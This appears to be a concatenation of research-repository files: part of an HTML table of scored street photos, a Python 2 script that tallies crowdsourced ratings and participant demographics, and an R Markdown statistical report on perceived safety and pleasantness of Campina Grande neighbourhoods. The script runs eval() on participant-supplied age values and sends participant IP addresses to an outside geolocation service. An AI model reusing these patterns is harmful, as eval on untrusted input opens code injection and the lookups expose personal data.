<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg 3.60420673364</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__270.jpg 3.50665410853</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__0.jpg 3.48868115736</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_90.jpg 3.42832171458</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg 3.14047423322</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg 3.03210588444</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg 2.7127156903</td>
</tr>
<tr>
</tr>
</table></body>
<file_sep># -*- coding: utf-8 -*-
import sys
import matplotlib.pyplot as plt
import time as tm
import datetime
from matplotlib.backends.backend_pdf import PdfPages
from sets import Set
import json, urllib
import numpy as np
#User profiles summary dictionaries
user_age = {}
user_sex = {}
user_class = {}
user_educ = {}
user_city = {}
user_time = {}
user_rel = {}
user_neig = {'cen' : 0, 'cat' : 0, 'lib' : 0}
empty = 0
#possible questions
#possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
possibleQuestions = ["agradavel?", "seguro?"]
photosAnsweredPerQuestion = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
#Tasks definition
tasks_id_definition = {}
def plotAge():
pp = PdfPages('age.pdf')
#Age levels
lev0 = 0
lev1 = 0
lev2 = 0
lev3 = 0
lev4 = 0
lev5 = 0
lev6 = 0
for age in user_age.keys():
if eval(age) != None and len(age) > 0:
intAge = int(age)
if intAge < 18 and intAge > 0:
lev0 += 1 * user_age[age]
elif intAge >= 18 and intAge <= 24:
lev1 += 1 * user_age[age]
elif intAge >= 25 and intAge <= 34:
lev2 += 1 * user_age[age]
elif intAge >= 35 and intAge <= 44:
lev3 += 1 * user_age[age]
elif intAge >= 45 and intAge <= 54:
lev4 += 1 * user_age[age]
elif intAge >= 55 and intAge <= 64:
lev5 += 1 * user_age[age]
#else:
# lev6 += 1
labels = '18l', '18a24', '25a34', '35a44', '45a54', '55a64'
sizes = [lev0, lev1, lev2, lev3, lev4, lev5]
colors = ['yellowgreen', 'green', 'gold', 'lightskyblue', 'blue', 'lightcoral', 'red']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotSex():
#Sex levels
pp = PdfPages('sex.pdf')
labels = []
sizes = []
for sex in user_sex.keys():
if sex != None and len(sex) > 0:
labels.append(sex)
sizes.append(user_sex[sex])
colors = ['lightcoral', 'lightskyblue']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotClass():
#Class levels
pp = PdfPages('class.pdf')
labels = []
sizes = []
for clas in user_class.keys():
if clas != None and len(clas) > 0:
labels.append(clas)
sizes.append(user_class[clas])
colors = ['yellowgreen', 'gold', 'lightskyblue', 'blue', 'lightcoral', 'red']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotEduc():
#Educational levels
pp = PdfPages('educ.pdf')
labels = []
sizes = []
for educ in user_educ.keys():
if educ != None and len(educ) > 0:
labels.append(educ)
sizes.append(user_educ[educ])
colors = ['yellowgreen', 'gold', 'lightskyblue', 'lightcoral']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotCity():
#City levels
pp = PdfPages('city.pdf')
labels = []
sizes = []
campinaCounting = 0
joaoPessoaCounting = 0
for city_data in user_city.keys():
if city_data != None and len(city_data) > 0:
city = city_data.split(",")[0].decode("utf8")
if 'campina' in city.lower():
campinaCounting += user_city[city_data]
elif 'pessoa' in city.lower():
joaoPessoaCounting += user_city[city_data]
else:
labels.append(city)
sizes.append(user_city[city_data])
labels.append("Campina Grande")
labels.append("Joao Pessoa")
sizes.append(campinaCounting)
sizes.append(joaoPessoaCounting)
colors = ['yellow', 'yellowgreen', 'green', 'gold', 'lightskyblue', 'blue', 'lightcoral', 'red', 'black']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotTime():
#Time levels
pp = PdfPages('time.pdf')
lev1 = 0
lev2 = 0
lev3 = 0
lev4 = 0
lev5 = 0
lev6 = 0
for time in user_time.keys():
if time != None and len(time) > 0:
intTime = int(time)
if intTime < 10:
lev1 += 1 * user_time[time]
elif intTime >=10 and intTime < 20:
lev2 += 1 * user_time[time]
elif intTime >= 20 and intTime < 30:
lev3 += 1 * user_time[time]
elif intTime >=30 and intTime < 40:
lev4 += 1 * user_time[time]
elif intTime >=40 and intTime < 50:
lev5 += 1 * user_time[time]
else:
lev6 += 1 * user_time[time]
labels = '10-', '10-20', '20-30', '30-40', '40-50', '50+'
sizes = [lev1, lev2, lev3, lev4, lev5, lev6]
colors = ['yellowgreen', 'gold', 'lightskyblue', 'blue', 'lightcoral', 'red']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotRel():
#Relationship levels
pp = PdfPages('rel.pdf')
labels = []
sizes = []
for rel in user_rel.keys():
if rel != None and len(rel) > 0:
labels.append(rel)
sizes.append(user_rel[rel])
colors = ['yellowgreen', 'gold', 'lightskyblue', 'lightcoral']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors, autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotNeig():
#Neighborhood levels
pp = PdfPages('neig.pdf')
cen = user_neig['cen']
lib = user_neig['lib']
catol = user_neig['cat']
labels = 'Centro', 'Liberdade', 'Catole', 'Nao responderam ou Nao conhecem'
sizes = [cen, lib, catol, empty]
colors = ['yellowgreen', 'green', 'lightskyblue', 'lightcoral']
plt.figure()
plt.clf()
plt.pie(sizes, labels=labels, colors=colors,
autopct='%1.1f%%', shadow=True)
plt.axis('equal')
pp.savefig()
pp.close()
def plotSummary():
plotAge()
plotSex()
plotEduc()
plotClass()
plotCity()
plotTime()
plotRel()
plotNeig()
#plt.pie(sizes, explode=explode, labels=labels, colors=colors,
# autopct='%1.1f%%', shadow=True)
# Set aspect ratio to be equal so that pie is drawn as a circle.
#plt.axis('equal')
#plt.show()
#plt.savefig(pp, format='pdf')
def countSummary(profileInfo):
global empty
if len(profileInfo) > 0:
#Extracting profile
userProfileData = profileInfo.split("+")
age = userProfileData[0].strip(' \t\n\r"')
sex = userProfileData[1].strip(' \t\n\r"')
currentClass = userProfileData[2].strip(' \t\n\r"')
educ = userProfileData[3].strip(' \t\n\r"')
city = userProfileData[4].strip(' \t\n\r"')
time = userProfileData[5].strip(' \t\n\r"')
rel = userProfileData[6].strip(' \t\n\r"')
neig = userProfileData[7].strip(' \t\n\r"')
neig = neig[0:len(neig)].strip(' \t\n\r"')
#Saving occurrences of profiles
if len(age) > 0 and eval(age) != None:
if int(age) > 0:
if age in user_age.keys():
user_age[age] = user_age[age] + 1
else:
user_age[age] = 1
if len(sex) > 0:
if sex in user_sex.keys():
user_sex[sex] = user_sex[sex] + 1
else:
user_sex[sex] = 1
if len(currentClass) > 0:
if currentClass in user_class.keys():
user_class[currentClass] = user_class[currentClass] + 1
else:
user_class[currentClass] = 1
if len(educ) > 0:
if educ in user_educ.keys():
user_educ[educ] = user_educ[educ] + 1
else:
user_educ[educ] = 1
if len(city) > 0:
if city in user_city.keys():
user_city[city] = user_city[city] + 1
else:
user_city[city] = 1
if len(time) > 0:
if time in user_time.keys():
user_time[time] = user_time[time] + 1
else:
user_time[time] = 1
if len(rel) > 0:
if rel in user_rel.keys():
user_rel[rel] = user_rel[rel] + 1
else:
user_rel[rel] = 1
if len(neig) > 0:
if neig in user_neig.keys():
user_neig[neig] = user_neig[neig] + 1
else:
user_neig[neig] = 1
if 'cen' in neig.lower():
if 'cen' in user_neig.keys():
user_neig['cen'] = user_neig['cen'] + 1
else:
user_neig['cen'] = 1
if 'lib' in neig.lower():
if 'lib' in user_neig.keys():
user_neig['lib'] = user_neig['lib'] + 1
else:
user_neig['lib'] = 1
if 'cat' in neig.lower():
if 'cat' in user_neig.keys():
user_neig['cat'] = user_neig['cat'] + 1
else:
user_neig['cat'] = 1
if len(neig) == 0:
empty += 1
def writeOutput(users_tasks):
output_file = open("usersInfo.dat", "w")
answered_profile = 0
nanswered_profile = 0
users_id_nanswered_profile = []
finish_time_nanswered = []
#Writing users profile and tasks executed
for user_id in users_tasks.keys():
user_data = users_tasks[user_id]
user_profile = str(user_data[0]['age']) + "+" + str(user_data[0]['sex']) + "+" + str(user_data[0]['clas']) + "+" + str(user_data[0]['edu']) + "+" + str(user_data[0]['cit']) + "+" + str(user_data[0]['time']) + "+" + str(user_data[0]['rel']) + "+" + str(user_data[0]['nei']) + "+" + str(user_data[0]['knowcampina']) + "+" + str(user_data[0]['howknowcampina'])
output_file.write(user_id+"|" + user_profile + "|" + str(user_data[1]) + "|" + str(user_data[2]) + "|" + str(user_data[3]) + "|" + str(user_data[4]) + "\n")
countSummary(user_profile)
if user_data[0]['age'] != -1 and len(user_data[0]['sex']) > 0 and len(user_data[0]['clas']) > 0 and len(user_data[0]['cit']) > 0:
answered_profile += 1
else:
nanswered_profile += 1
users_id_nanswered_profile.append(user_id)
finish_time_nanswered.append(user_data[5])
output_file.close()
#Writing profile summary
output_file = open("usersInfoSummary.dat", "w")
output_file.write("Answered\t" + str(answered_profile) + "\t" + str(nanswered_profile) + "\t" + str(answered_profile*1.0/(answered_profile+nanswered_profile)) + "\t" + str(nanswered_profile*1.0/(answered_profile+nanswered_profile)) + "\n")
output_file.write(str(user_age)+"\n")
output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_age.values()))+"\n")
output_file.write(str(user_sex)+"\n")
output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_sex.values()))+"\n")
output_file.write(str(user_class)+"\n")
output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_class.values()))+"\n")
output_file.write(str(user_educ)+"\n")
output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_educ.values()))+"\n")
output_file.write(str(user_city)+"\n")
output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_city.values()))+"\n")
output_file.write(str(user_time)+"\n")
output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_time.values()))+"\n")
output_file.write(str(user_rel)+"\n")
output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_rel.values()))+"\n")
output_file.write(str(user_neig)+"\n")
output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_neig.values()))+"\n")
output_file.close()
plotSummary()
#Writing tasks definition
output_file = open("tasksDefinition.dat", "w")
for task_id in tasks_id_definition.keys():
output_file.write(task_id+"\t"+tasks_id_definition[task_id].encode('utf-8')+"\n")
output_file.close()
#Writing photos evaluated by user
output_file = open("usersPhotosAgrad.dat", "w")
for user_id in photosAnsweredPerQuestion[possibleQuestions[0]].keys():
for photo in photosAnsweredPerQuestion[possibleQuestions[0]][user_id]:
output_file.write(user_id+"\t"+photo.encode('utf-8')+"\n")
output_file.close()
#Writing photos evaluated by user
output_file = open("usersPhotosSeg.dat", "w")
for user_id in photosAnsweredPerQuestion[possibleQuestions[1]].keys():
for photo in photosAnsweredPerQuestion[possibleQuestions[1]][user_id]:
output_file.write(user_id+"\t"+photo.encode('utf-8')+"\n")
output_file.close()
#Writing users that did not answered profile
output_file = open("usersNAnswered.dat", "w")
users_profile_file = open("users.csv", "r")
users_profile = users_profile_file.readlines()
for index in range(0, len(users_id_nanswered_profile)):
user_id = users_id_nanswered_profile[index]
for profile in users_profile:
data = profile.split(",")
if data[0].strip() == user_id:
output_file.write(user_id+"\t"+data[2]+"\t"+str(finish_time_nanswered[index])+"\n")
output_file.close()
users_profile_file.close()
def readUserData(lines1, lines2, outputFileName):
""" Reading user profile """
users_tasks = {}
firstDate = datetime.date(1970, 6, 24)
agrad_dic = {"agradavel?" : "agrad%C3%A1vel?", "agrad%C3%A1vel?" : "agradavel?"}
#Reading from pybossa task-run CSV - V1
for line in lines1:
print ">>>> Deprecated"
index = 0
#Reading from pybossa task-run CSV - V2
for line in lines2:
print ">>> Mais uma linha " + str(index)
index = index + 1
data = line.split("+")
task_id = data[3]
user_id = data[4]
user_ip = data[5]
timeInfo = data[6].split("T")[0].split("-")#2015-02-17T18:19:52.589591
finish_time = datetime.date(int(timeInfo[0]), int(timeInfo[1]), int(timeInfo[2]))
user_answer = data[9].strip(' \t\n\r"')
if user_id in users_tasks.keys():
user_executions = users_tasks[user_id]
else:
user_executions = [{'age': -1, 'sex': "", 'clas': "", 'edu': "", 'cit': "", "time": "", 'rel': "", 'nei': "", 'knowcampina': "", 'howknowcampina': ""}, [], [], [], [], firstDate]#Tasks for Agradavel e Seguro and their respective answers
#In user answers that contain profile information extract profile: {"userProfile": {"city": "Campina Grande - State of Para\u00edba, Brazil", "age": 33, "sex": "M", "rel": "casado", "educ": "doutorado", "neig": ["cen"], "clas": "media alta"}, "question": "agradavel", "theLess": "https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg", "theMost": "https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__270.jpg"}
user_answer_data = json.loads(user_answer)
if user_answer_data.has_key('userProfile'):
#Extracting profile
user_profile_data = user_answer_data['userProfile']
if 'age' in user_profile_data:
age = user_profile_data['age']
else:
age = -1
sex = user_profile_data['sex'].encode('utf-8').strip(' \t\n\r"')
currentClass = user_profile_data['clas'].encode('utf-8').strip(' \t\n\r"')
educ = user_profile_data['educ'].encode('utf-8').strip(' \t\n\r"')
city = user_profile_data['city'].encode('utf-8').strip(' \t\n\r"')
#time = userProfileData['time'].strip(' \t\n\r"')
rel = user_profile_data['rel'].encode('utf-8').strip(' \t\n\r"')
neig = user_profile_data['neig']
know = user_profile_data['knowcampina'].strip(' \t\n\r"')
howknow = user_profile_data['howknowcampina'].strip(' \t\n\r"')
if len(city) == 0:
if len(user_ip) > 0:
response = urllib.urlopen("http://ip-api.com/json/"+user_ip)
ip_data = json.loads(response.read())
city = ip_data['city'].encode('utf-8') + "," + ip_data['country'].encode('utf-8')
if user_executions[0]['age'] == -1:
user_executions[0]['age'] = age
if len(user_executions[0]['sex'].strip(' \t\n\r"')) == 0:
user_executions[0]['sex'] = sex
if len(user_executions[0]['clas'].strip(' \t\n\r"')) == 0:
user_executions[0]['clas'] = currentClass
if len(user_executions[0]['edu'].strip(' \t\n\r"')) == 0:
user_executions[0]['edu'] = educ
if len(user_executions[0]['cit'].strip(' \t\n\r"')) == 0:
user_executions[0]['cit'] = city
if len(user_executions[0]['rel'].strip(' \t\n\r"')) == 0:
user_executions[0]['rel'] = rel
if len(user_executions[0]['nei'].strip(' \t\n\r"')) == 0:
user_executions[0]['nei'] = str(neig)
if len(user_executions[0]['knowcampina'].strip(' \t\n\r"')) == 0:
user_executions[0]['knowcampina'] = know
if len(user_executions[0]['howknowcampina'].strip(' \t\n\r"')) == 0:
user_executions[0]['howknowcampina'] = howknow
else:
if len(user_ip) > 0:
if len(user_executions[0]['cit'].strip(' \t\n\r"')) == 0:
response = urllib.urlopen("http://ip-api.com/json/"+user_ip)
ip_data = json.loads(response.read())
city = ip_data['city'].encode('utf-8') + "," + ip_data['country'].encode('utf-8')
user_executions[0]['cit'] = city
#Saving photos that user evaluated
question = user_answer_data['question'].strip(' \t\n\r"')
if 'agrad' in question and question == "agrad%C3%A1vel?":
question = agrad_dic[question]
answer = "Left*"
photo1 = user_answer_data['theMost'].strip(' \t\n\r"')
photo2 = user_answer_data['theLess'].strip(' \t\n\r"')
#print str(photosAnsweredPerQuestion.keys())
if user_id in photosAnsweredPerQuestion[question].keys():
photos = photosAnsweredPerQuestion[question][user_id]
else:
photos = Set([])
photos.add(photo1)
photos.add(photo2)
photosAnsweredPerQuestion[question][user_id] = photos
#Saving user answer near task ID
if question == possibleQuestions[0]:#Agra
user_executions[1].append(task_id)
user_executions[3].append(answer)
elif question == possibleQuestions[1]:#Seg
user_executions[2].append(task_id)
user_executions[4].append(answer)
else:
print "Error! " + question
if finish_time > user_executions[5]:
user_executions[5] = finish_time
#Saving task ID definition
tasks_id_definition[task_id] = photo1+"\t"+photo2
users_tasks[user_id] = user_executions
return users_tasks
if __name__ == "__main__":
if len(sys.argv) < 3:
print "Uso: <arquivo com execucoes das tarefas e perfis dos usuarios - V1> <arquivo com execucoes das tarefas e perfis dos usuarios - V2>"
sys.exit(1)
dataFile1 = ""#open(sys.argv[1], 'r')
dataFile2 = open(sys.argv[2], 'r')
lines1 = []#dataFile1.readlines() - This file does not exist for this version of app!
lines2 = dataFile2.readlines()
users_tasks = readUserData(lines1, lines2, "users.dat")
writeOutput(users_tasks)
#dataFile1.close()
dataFile2.close()
<file_sep>---
title: "Análise Comparativa Grupos - IHC 2015"
output: pdf_document
---
#Geral
##IC Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
library(ggplot2)
library(gridExtra)
source('analisaICPorFoto.R')
facet_names <- list(
'agrad%C3%A1vel?'="Pleasant",
'seguro?'="Safeness"
)
facet_labeller <- function(variable,value){
return(facet_names[value])
}
dados <- read.table("geral.dat", header=TRUE)
dadosSub <- dados[, c("V2", "V1", "V3", "diag", "hor", "vert", "red", "green", "blue", "grupo", "bairro")]
novosDados <- reshape(dadosSub, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
temp <- dados
#Intervalo de confiança por ponto
qscoreSim <- temp [ c(4:103) ]
icData <- apply(qscoreSim, 1, ic)
temp$distance <- icData
#Extraindo apenas os dados para plots
dadosCopy <- temp[, c("V2", "V1", "V3", "diag", "hor", "vert", "red", "green", "blue", "grupo", "bairro", "distance")]
#Criando subconjunto
dadosCeS <- dadosCopy[(dadosCopy$grupo == 'Geral' ) & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'centro',]
dadosLiS <- dadosCopy[(dadosCopy$grupo == 'Geral') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'liberdade',]
dadosCaS <- dadosCopy[(dadosCopy$grupo == 'Geral' ) & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'catole',]
dadosCeS$NV2 <- rep(c(1:20), each=2)
ggplot(dadosCeS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosLiS$NV2 <- rep(c(1:18), each=2)
ggplot(dadosLiS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosCaS$NV2 <- rep(c(1:16), each=2)
ggplot(dadosCaS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Catolé") + scale_x_discrete(breaks=seq(1, 36, by=5))
```
##IC Agradavel
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Criando subconjuntos para homens e mulheres
dadosCeA <- dadosCopy[(dadosCopy$grupo == 'Geral' ) & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'centro',]
dadosLiA <- dadosCopy[(dadosCopy$grupo == 'Geral' ) & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'liberdade',]
dadosCaA <- dadosCopy[(dadosCopy$grupo == 'Geral' ) & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'catole',]
dadosCeA$NV2 <- rep(c(1:20), each=2)
ggplot(dadosCeA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosLiA$NV2 <- rep(c(1:18), each=2)
ggplot(dadosLiA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosCaA$NV2 <- rep(c(1:16), each=2)
ggplot(dadosCaA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Catolé") + scale_x_discrete(breaks=seq(1, 36, by=5))
```
#Homens x Mulheres
## Qscores x Qscores
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#empty <- ggplot()+geom_point(aes(1,1), colour="white") +
# theme(
# plot.background = element_blank(),
# panel.grid.major = element_blank(),
# panel.grid.minor = element_blank(),
## panel.border = element_blank(),
# panel.background = element_blank(),
# axis.title.x = element_blank(),
# axis.title.y = element_blank(),
# axis.text.x = element_blank(),
## axis.text.y = element_blank(),
# axis.ticks = element_blank()
# )
hom <- dadosSub[(dadosSub$grupo == 'Masculino'),]
mul <- dadosSub[(dadosSub$grupo == 'Feminino'),]
temp <- rbind(hom, mul)
novosHomMul <- reshape(temp, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro"), direction="wide")
novosHomMul$distancia <- novosHomMul$V3.Masculino - novosHomMul$V3.Feminino
novosHomMul <- novosHomMul[with(novosHomMul, order(-abs(distancia), V2)), ]
print(paste(novosHomMul[0:10,]$V2, " ", novosHomMul[0:10,]$bairro, " ", novosHomMul[0:10,]$distancia, " ", novosHomMul[0:10,]$V1))
agrad <- novosDados[novosDados$V1 == "agradavel?",]
seg <- novosDados[novosDados$V1 == "seguro?",]
cor.test(agrad$V3.Masculino, agrad$V3.Feminino, method = "spearman")
cor.test(agrad$V3.Masculino, agrad$V3.Feminino, method = "pearson")
cor.test(agrad$V3.Masculino, agrad$V3.Feminino, method = "kendall")
cor.test(seg$V3.Masculino, seg$V3.Feminino, method = "spearman")
cor.test(seg$V3.Masculino, seg$V3.Feminino, method = "pearson")
cor.test(seg$V3.Masculino, seg$V3.Feminino, method = "kendall")
w = 10
h = 7
pdf("homXmul.pdf", width = w, height = h)
ggplot(novosDados, aes(y=V3.Masculino, x=V3.Feminino, colour=bairro))+geom_point()+facet_grid(. ~V1, shrink=TRUE, labeller = facet_labeller)+xlab("QScore Women")+ylab("QScore Men")+geom_abline(intercept=0, colour="red")+scale_fill_manual(values = c("orange", "purple", "red"))+theme(axis.text=element_text(size=20), axis.title=element_text(size=20), legend.text = element_text(size=20), legend.title = element_text(size=20))+theme_bw()
dev.off()
#plot_top <- ggplot(novosDados, aes(V3.Feminino, fill=bairro)) +
# geom_density(alpha=.5) +
# scale_fill_manual(values = c("pink", "green", "blue"))
# +theme(legend.position = "none")
#plot_right <- ggplot(novosDados, aes(V3.Masculino, fill=bairro)) +
# geom_density(alpha=.5) +
# coord_flip() +
# scale_fill_manual(values = c("pink", "green", "blue")) +
# theme(legend.position = "none")
#grid.arrange(plot_top, empty, plot1, plot_right, ncol=2, nrow=2, widths=c(4, 1), heights=c(1, 4))
#ggplot(novosDados, aes(y=V3.Masculino, x=V3.Feminino, colour=bairro))+geom_point()+facet_grid(. ~V1, shrink=TRUE, labeller = facet_labeller)+xlab("QScore Feminino")+ylab("QScore Masculino")+geom_abline(intercept=0, colour="red")+scale_fill_manual(values = c("orange", "purple", "red")) + geom_rug(col="darkred",alpha=.7)
```
##IC Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Criando subconjuntos para homens e mulheres
dadosCeS <- dadosCopy[(dadosCopy$grupo == 'Masculino' | dadosCopy$grupo == 'Feminino') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'centro',]
dadosLiS <- dadosCopy[(dadosCopy$grupo == 'Masculino' | dadosCopy$grupo == 'Feminino') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'liberdade',]
dadosCaS <- dadosCopy[(dadosCopy$grupo == 'Masculino' | dadosCopy$grupo == 'Feminino') & dadosCopy$V1=='seguro?' & dadosCopy$bairro == 'catole',]
dadosCeS$NV2 <- rep(c(1:36), each=2)
ggplot(dadosCeS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosLiS$NV2 <- rep(c(1:36), each=2)
ggplot(dadosLiS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosCaS$NV2 <- rep(c(1:32), each=2)
ggplot(dadosCaS, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Catolé") + scale_x_discrete(breaks=seq(1, 36, by=5))
```
##Wilcoxon Signed Ranked (Pareado) - Seguro
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dadosMF <- novosDados[novosDados$V1 == 'seguro?',]
wilcox.test(dadosMF$V3.Feminino, dadosMF$V3.Masculino, paired = TRUE, conf.int = TRUE)
wilcox.test(dadosMF$V3.Feminino, dadosMF$V3.Masculino, paired = TRUE, conf.int = TRUE, alternative = "l")
wilcox.test(dadosMF$V3.Feminino, dadosMF$V3.Masculino, paired = TRUE, conf.int = TRUE, alternative = "g")
```
##IC Agradavel
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
#Criando subconjuntos para homens e mulheres
dadosCeA <- dadosCopy[(dadosCopy$grupo == 'Masculino' | dadosCopy$grupo == 'Feminino') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'centro',]
dadosLiA <- dadosCopy[(dadosCopy$grupo == 'Masculino' | dadosCopy$grupo == 'Feminino') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'liberdade',]
dadosCaA <- dadosCopy[(dadosCopy$grupo == 'Masculino' | dadosCopy$grupo == 'Feminino') & dadosCopy$V1=='agrad%C3%A1vel?' & dadosCopy$bairro == 'catole',]
dadosCeA$NV2 <- rep(c(1:40), each=2)
ggplot(dadosCeA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Centro") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosLiA$NV2 <- rep(c(1:36), each=2)
ggplot(dadosLiA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Liberdade") + scale_x_discrete(breaks=seq(1, 36, by=5))
dadosCaA$NV2 <- rep(c(1:32), each=2)
ggplot(dadosCaA, aes(x=NV2, y=V3, colour=grupo)) + geom_point(shape=1, size=2) + geom_errorbar(aes(ymin=V3-distance, ymax=V3+distance)) + xlab("Local") + ylab("QScore") + ggtitle("Catolé") + scale_x_discrete(breaks=seq(1, 36, by=5))
```
##Wilcoxon Signed Ranked (Pareado) - Agradavel
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
dadosMF <- novosDados[novosDados$V1 == 'agrad%C3%A1vel?',]
wilcox.test(dadosMF$V3.Feminino, dadosMF$V3.Masculino, paired = TRUE, conf.int = TRUE)
wilcox.test(dadosMF$V3.Feminino, dadosMF$V3.Masculino, paired = TRUE, conf.int = TRUE, alternative = "l")
wilcox.test(dadosMF$V3.Feminino, dadosMF$V3.Masculino, paired = TRUE, conf.int = TRUE, alternative = "g")
```
#Casado x Solteiro
## Qscores x Qscores
```{r, echo=FALSE, fig.show='asis', fig.width=10, fig.height=5}
